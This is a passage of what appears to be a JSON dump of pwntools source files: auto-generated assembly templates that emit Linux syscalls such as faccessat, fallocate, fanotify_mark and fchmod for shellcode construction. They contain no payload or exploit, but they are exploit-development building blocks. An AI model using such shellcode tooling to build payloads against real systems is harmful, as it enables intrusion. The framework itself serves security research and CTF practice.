               target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_exit_group']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_exit_group'])\n%>\n    /* exit_group(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/faccessat.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>faccessat(fd, file, type, flag) -> str\n\nInvokes the syscall faccessat.\n\nSee 'man 2 faccessat' for more information.\n\nArguments:\n    fd(int): fd\n    file(char*): file\n    type(int): type\n    flag(int): flag\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, file=0, type=0, flag=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['file']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'file', 'type', 'flag']\n    argument_values = [fd, file, type, flag]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_faccessat']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_faccessat'])\n%>\n    /* faccessat(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/faccessat2.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>faccessat2(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall faccessat2.\n\nSee 'man 2 faccessat2' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_faccessat2']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_faccessat2'])\n%>\n    /* faccessat2(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/fadvise64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>fadvise64(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall fadvise64.\n\nSee 'man 2 fadvise64' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_fadvise64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_fadvise64'])\n%>\n    /* fadvise64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/fadvise64_64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>fadvise64_64(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall fadvise64_64.\n\nSee 'man 2 fadvise64_64' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_fadvise64_64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_fadvise64_64'])\n%>\n    /* fadvise64_64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/fallocate.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>fallocate(fd, mode, offset, length) -> str\n\nInvokes the syscall fallocate.\n\nSee 'man 2 fallocate' for more information.\n\nArguments:\n    fd(int): fd\n    mode(int): mode\n    offset(off_t): offset\n    length(off_t): length\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, mode=0, offset=0, length=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'mode', 'offset', 'length']\n    argument_values = [fd, mode, offset, length]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_fallocate']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_fallocate'])\n%>\n    /* fallocate(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/fanotify_init.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>fanotify_init(flags, event_f_flags) -> str\n\nInvokes the syscall fanotify_init.\n\nSee 'man 2 fanotify_init' for more information.\n\nArguments:\n    flags(unsigned): flags\n    event_f_flags(unsigned): event_f_flags\nReturns:\n    int\n</%docstring>\n<%page args=\"flags=0, event_f_flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['flags', 'event_f_flags']\n    argument_values = [flags, event_f_flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_fanotify_init']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_fanotify_init'])\n%>\n    /* fanotify_init(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/fanotify_mark.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>fanotify_mark(fanotify_fd, flags, mask, dfd, pathname) -> str\n\nInvokes the syscall fanotify_mark.\n\nSee 'man 2 fanotify_mark' for more information.\n\nArguments:\n    fanotify_fd(int): fanotify_fd\n    flags(unsigned): flags\n    mask(uint64_t): mask\n    dfd(int): dfd\n    pathname(char*): pathname\nReturns:\n    int\n</%docstring>\n<%page args=\"fanotify_fd=0, flags=0, mask=0, dfd=0, pathname=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['pathname']\n    can_pushstr_array = []\n\n    argument_names = ['fanotify_fd', 'flags', 'mask', 'dfd', 'pathname']\n    argument_values = [fanotify_fd, flags, mask, dfd, pathname]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_fanotify_mark']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_fanotify_mark'])\n%>\n    /* fanotify_mark(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/fchdir.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>fchdir(fd) -> str\n\nInvokes the syscall fchdir.\n\nSee 'man 2 fchdir' for more information.\n\nArguments:\n    fd(int): fd\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd']\n    argument_values = [fd]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_fchdir']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_fchdir'])\n%>\n    /* fchdir(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/fchmod.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>fchmod(fd, mode) -> str\n\nInvokes the syscall fchmod.\n\nSee 'man 2 fchmod' for more information.\n\nArguments:\n    fd(int): fd\n    mode(mode_t): mode\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, mode=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'mode']\n    argument_values = [fd, mode]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It 